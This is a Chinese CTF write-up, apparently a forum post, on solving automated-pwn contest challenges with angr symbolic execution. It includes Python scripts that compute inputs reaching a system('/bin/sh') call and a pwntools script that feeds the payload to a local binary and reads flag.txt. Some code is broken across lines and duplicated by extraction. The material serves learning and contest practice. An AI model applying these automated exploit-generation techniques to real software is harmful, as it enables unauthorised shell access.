前几天去三亚打了个自动化Pwn类型的线下赛(纵横杯)。作为一个RE选手,咱也不懂fuzz和AFL,于是就整了一手符号执行来解题。虽然最后没拿到奖,但在准备比赛的过程中还是学到了很多东西,这里总结一下能纯靠符号执行解决的两种题型。
符号执行是指在不执行程序的前提下,用符号值表示程序变量的值,然后模拟程序执行来进行相关分析的技术。与具体执行不同,具体执行每次执行仅存在一条唯一的执行路径(即程序控制流),而符号执行会探索所有可能的执行路径,并用符号值表示到达该路径所需要的输入条件。
用下述程序举例:
上述代码是一个简单的c语言分支结构代码,它的输入是M,N,Q三个变量;输出是x1,x2,x3的三个变量的和。我们这里设置的条件是想看看什么样的输入向量<M,N,Q>的情况下,得到的三个输出变量的和等于3. 那么我们通过下面的树形结构来看看所有的情况:
从上图中我们可以看到执行到每条路径的输入需要满足的条件,当R=3时,输入需要满足的条件是M != 0 && N < 5 && Q != 0。
本文使用的符号执行工具是angr,有关angr的使用方法可以查看官方文档。
本次纵横杯的第5题,程序非常简单,伪代码如下:
这题大体是个while+switch结构,只要能执行到上图中红框部分即可getshell。程序非常简单,所以可以直接用angr一把梭:
输出:
因为angr和pwntools不兼容,所以计算payload和getshell我分成了两个脚本来写,getshell脚本:
输出:
比赛之前也没想到有这种可以直接用angr一把梭的题。。。痛失1w奖金。
线上调试时的第一道例题,比赛前我针对这道例题的结构写了个exp,没想到比赛题的结构完全不一样,所以也没跑出来呜呜。但我觉得这道例题对我们学习符号执行帮助也很大,所以拿出讲一讲。
这题的核心是通过前面的n各分支,只能要执行到最后即可getshell:
CFG大概是这个样子,总之非常恐怖:
这题没法用angr直接explore,于是我在群里问了几个师傅的想法,拿到了师傅的一篇博客(赚到赚到):关于Faster的那些事...
总的来说,用符号执行解决这种分支问题有两个思路:
我这里采取的是第二种思路,因为如果考虑多条路径的情况第一种思路很难写。
这里计算avoid_list的原因是此题的分支数巨大,每一个分支条件语句都可能会使当前的路径再分支出一条新的路径,而且这是”指数级”增长的,也就是说符号执行所需要的时间和空间都会随分支数的增长而”指数级”增长,这显然是我们不愿看到的。
所以我们需要计算avoid_list,使符号执行引擎忽略某些根本不可能到达system函数的路径,这样在一定程度上避免了上述问题。
因为是自动化pwn,一开始我们并不知道system函数的地址,所以先求得system函数的地址(题型1中的exp省略了这个步骤):
然后找到哪些函数中存在call system指令,找到这些函数的地址,以及call system指令所在基本块的地址:
对调用了system函数的函数进行符号执行,也就是调用上述代码中的explore_func函数,传入目标函数的地址、system("/bin/sh")所在基本块的地址以及目标函数的CFG。
按照我们之前说的思路,首先我们要找到一条从函数入口到目标基本块的一条路径,然后将不在路径上的其他基本块地址添加到avoid_list中。实现如下:
搜索路径的方法是DFS(深度优先搜索),不了解DFS的朋友可以看一看这篇文章:图的基本算法(BFS和DFS)
得到了avoid_list之后就可以直接进行explore了:
注意这里的:
含义是采取DFS策略进行符号执行。angr默认的符号执行方式类似BFS,即一次会有多个active state同时进行step,DFS策略会使符号执行过程中一次只有一个active state进行step:
其实我也没明白这里为什么用DFS会快一点,总之能跑就行233。
完整代码:
输出:
getshell:
输出:
两道题目的文件可以在附件中下载。
符号执行与fuzz结合一个比较著名的例子是Driller,我们队在比赛中也使用了Driller,可惜没达到效果。
Driller在AFL的基础上加入了动态符号执行引擎,当模糊测试发生stuck时,使用动态符号执行去突破这些限制,生成满足fuzz需求的新输入,使得fuzz能够继续执行。
总体上说,Driller结合了AFL的高效、低消耗、快速的优点和动态符号执行探索能力强的优点,又避免了AFL较难突破特殊的边界和动态符号执行路径爆炸的问题。
更详细的内容可以参考这篇文章:【Driller】Driller介绍及源码分析
int
m
=
M, n
=
N, q
=
Q;
int
x1
=
0
,x2
=
0
,x3
=
0
;
if
(m!
=
0
)
{
x1
=
-
2
;
}
if
(n<
12
)
{
if
(!m && q)
{
x2
=
1
;
}
x3
=
2
;
}
assert
(x1
+
x2
+
x3!
=
3
)
int
m
=
M, n
=
N, q
=
Q;
int
x1
=
0
,x2
=
0
,x3
=
0
;
if
(m!
=
0
)
{
x1
=
-
2
;
}
if
(n<
12
)
{
if
(!m && q)
{
x2
=
1
;
}
x3
=
2
;
}
assert
(x1
+
x2
+
x3!
=
3
)
import
angr
from
binascii
import
b2a_hex
def
angr_run():
proj
=
angr.Project(
'./bin5'
)
state
=
proj.factory.entry_state()
simgr
=
proj.factory.simgr(state)
simgr.explore(find
=
0x08048783
)
payload
=
simgr.found[
0
].posix.dumps(
0
)
print
(f
'payload={b2a_hex(payload)}'
)
angr_run()
import
angr
from
binascii
import
b2a_hex
def
angr_run():
proj
=
angr.Project(
'./bin5'
)
state
=
proj.factory.entry_state()
simgr
=
proj.factory.simgr(state)
simgr.explore(find
=
0x08048783
)
payload
=
simgr.found[
0
].posix.dumps(
0
)
print
(f
'payload={b2a_hex(payload)}'
)
angr_run()
from
pwn
import
*
from
binascii
import
a2b_hex
import
re
sh
=
process(
'./bin5'
)
sh.sendline(a2b_hex(
'310a320a'
))
sh.sendline(
'cat flag.txt'
)
flag
=
sh.recvall(timeout
=
5
)
flag
=
re.findall(r
'\{(.*?)\}'
, flag.decode())
print
(f
'flag=flag{{{flag[0]}}}'
)
from
pwn
import
*
from
binascii
import
a2b_hex
import
re
sh
=
process(
'./bin5'
)
sh.sendline(a2b_hex(
'310a320a'
))
sh.sendline(
'cat flag.txt'
)
flag
=
sh.recvall(timeout
=
5
)
flag
=
re.findall(r
'\{(.*?)\}'
, flag.decode())
print
(f
'flag=flag{{{flag[0]}}}'
)
proj
=
angr.Project(bin_path, load_options
=
{
'auto_load_libs'
:
False
})
proj_cfg
=
proj.analyses.CFGFast()
system_addr
=
get_system_addr(proj_cfg)
proj
=
angr.Project(bin_path, load_options
=
{
'auto_load_libs'
:
False
})
proj_cfg
=
proj.analyses.CFGFast()
system_addr
=
get_system_addr(proj_cfg)
def
get_system_addr(cfg):
for
func_addr
in
cfg.functions:
func
=
cfg.functions.get(func_addr)
if
func.name
=
=
'system'
:
return
func_addr
return
None
def
get_system_addr(cfg):
for
func_addr
in
cfg.functions:
func
=
cfg.functions.get(func_addr)
if
func.name
=
=
'system'
:
return
func_addr
return
None
if
system_addr
=
=
None
:
return
[]
print
(f
'Found system function in {hex(system_addr)}.'
)
payload_list
=
[]
for
func_addr
in
proj_cfg.functions:
try
:
func
=
proj_cfg.functions.get(func_addr)
cfg
=
func.transition_graph
cfg
=
to_supergraph(cfg)
for
node
in
cfg.nodes:
block
=
proj.factory.block(node.addr)
for
inst
in
block.capstone.insns:
if
inst.mnemonic
=
=
'call'
and
inst.op_str
=
=
hex
(system_addr):
target_func
=
func_addr
target_block
=
block.addr
target_cfg
=
cfg
print
(f
'Found target function in {hex(target_func)}'
)
print
(f
'Found target block in {hex(target_block)}'
)
payload_list
+
=
explore_func(proj, target_func, target_block, target_cfg)
except
Exception as ex:
print
(ex)
if
system_addr
=
=
None
:
return
[]
print
(f
'Found system function in {hex(system_addr)}.'
)
payload_list
=
[]
for
func_addr
in
proj_cfg.functions:
try
:
func
=
proj_cfg.functions.get(func_addr)
cfg
=
func.transition_graph
cfg
=
to_supergraph(cfg)
for
node
in
cfg.nodes:
block
=
proj.factory.block(node.addr)
for
inst
in
block.capstone.insns:
if
inst.mnemonic
=
=
'call'
and
inst.op_str
=
=
hex
(system_addr):
target_func
=
func_addr
target_block
=
block.addr
target_cfg
=
cfg
print
(f
'Found target function in {hex(target_func)}'
)
print
(f
'Found target block in {hex(target_block)}'
)
payload_list
+
=
explore_func(proj, target_func, target_block, target_cfg)
except
Exception as ex:
print
(ex)
def
get_avoid_list(cfg, start, target):
if
start.addr
=
=
target:
return
(
True
, [])
succs
=
list
(cfg.successors(start))
if
len
(succs)
=
=
0
:
return
(
False
, [start.addr])
elif
len
(succs)
=
=
1
:
can_reach_target, avoid_list
=
get_avoid_list(cfg, succs[
0
], target)
if
can_reach_target:
return
(
True
, avoid_list)
else
:
avoid_list.append(start.addr)
return
(
False
, avoid_list)
elif
len
(succs)
=
=
2
:
can_reach_target0, avoid_list0
=
get_avoid_list(cfg, succs[
0
], target)
can_reach_target1, avoid_list1
=
get_avoid_list(cfg, succs[
1
], target)
if
can_reach_target0
and
can_reach_target1:
return
(
True
, [])
elif
not
can_reach_target0
and
not
can_reach_target1:
avoid_list
=
avoid_list0
+
avoid_list1
avoid_list.append(start.addr)
return
(
False
, avoid_list)
else
:
avoid_list
=
avoid_list0
+
avoid_list1
return
(
True
, avoid_list)
else
:
exit(
0
)
def
get_avoid_list(cfg, start, target):
if
start.addr
=
=
target:
return
(
True
, [])
succs
=
list
(cfg.successors(start))
if
len
(succs)
=
=
0
:
return
(
False
, [start.addr])
elif
len
(succs)
=
=
1
:
can_reach_target, avoid_list
=
get_avoid_list(cfg, succs[
0
], target)
if
can_reach_target:
return
(
True
, avoid_list)
else
:
avoid_list.append(start.addr)
return
(
False
, avoid_list)
elif
len
(succs)
=
=
2
:
can_reach_target0, avoid_list0
=
get_avoid_list(cfg, succs[
0
], target)
can_reach_target1, avoid_list1
=
get_avoid_list(cfg, succs[
1
], target)
if
can_reach_target0
and
can_reach_target1:
return
(
True
, [])
elif
not
can_reach_target0
and
not
can_reach_target1:
avoid_list
=
avoid_list0
+
avoid_list1
avoid_list.append(start.addr)
return
(
False
, avoid_list)
else
:
avoid_list
=
avoid_list0
+
avoid_list1
return
(
True
, avoid_list)
else
:
exit(
0
)
def
explore_func(proj, target_func, target_block, target_cfg):
can_reach_target, avoid_list
=
get_avoid_list(target_cfg,
list
(target_cfg.nodes)[
0
], target_block)
state
=
proj.factory.call_state(target_func)
simgr
=
proj.factory.simgr(state)
simgr.use_technique(angr.exploration_techniques.DFS())
simgr.explore(find
=
target_block, avoid
=
avoid_list)
payload_list
=
[]
for
found
in
simgr.found:
payload_list.append(found.posix.dumps(
0
))
return
payload_list
[注意]传递专业知识、拓宽行业人脉——看雪讲师团队等你加入!
最后于 2021-3-31 17:55
被34r7hm4n编辑
,原因: